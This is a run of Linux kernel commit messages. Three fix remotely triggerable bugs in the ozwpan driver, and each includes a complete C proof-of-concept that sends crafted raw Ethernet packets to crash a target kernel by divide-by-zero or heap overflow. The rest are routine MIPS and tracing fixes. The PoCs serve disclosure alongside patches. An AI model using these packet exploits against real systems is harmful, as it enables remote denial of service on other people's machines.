commit 04bf464a upstream. A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by:
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Jason A. Donenfeld authored
commit b1bb5b49 upstream. Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by:
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Jason A. Donenfeld authored
commit d114b9fe upstream. Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by:
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Nicholas Mc Guire authored
commit ed9244e6 upstream. Fix possible unintended sign extension in unsigned MMIO loads by casting to uint16_t in the case of mmio_needed != 2. Signed-off-by:
Nicholas Mc Guire <hofrat@osadl.org> Reviewed-by:
James Hogan <james.hogan@imgtec.com> Tested-by:
Ralf Baechle <ralf@linux-mips.org> Signed-off-by:
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James Hogan authored
commit 5f35b9cd upstream. Commit 334c86c4 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead. Fixes: 334c86c4 ("MIPS: IRQ: Add stackoverflow detection") Signed-off-by:
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Jonas Gorski authored
commit 9dd6f1c1 upstream. Due to a typo the illegal access interrupt is never cleared in by the interupt handler, causing an effective deadlock on the first illegal access. This was broken since the code was introduced in 5433acd8 ("MIPS: ralink: add illegal access driver"), but only exposed when the Kconfig symbol was added, thus enabling the code. Fixes: a7b7aad3 ("MIPS: ralink: add missing symbol for RALINK_ILL_ACC") Signed-off-by:
Jonas Gorski <jogo@openwrt.org> Cc: linux-mips@linux-mips.org Cc: John Crispin <blogic@openwrt.org> Patchwork: https://patchwork.linux-mips.org/patch/10172/Signed-off-by:
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Wang Long authored
commit 10802932 upstream. The producer should be used producer_fifo as its sched_priority, so correct it. Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.comSigned-off-by:
Wang Long <long.wanglong@huawei.com> Signed-off-by:
Steven Rostedt <rostedt@goodmis.org> Signed-off-by:
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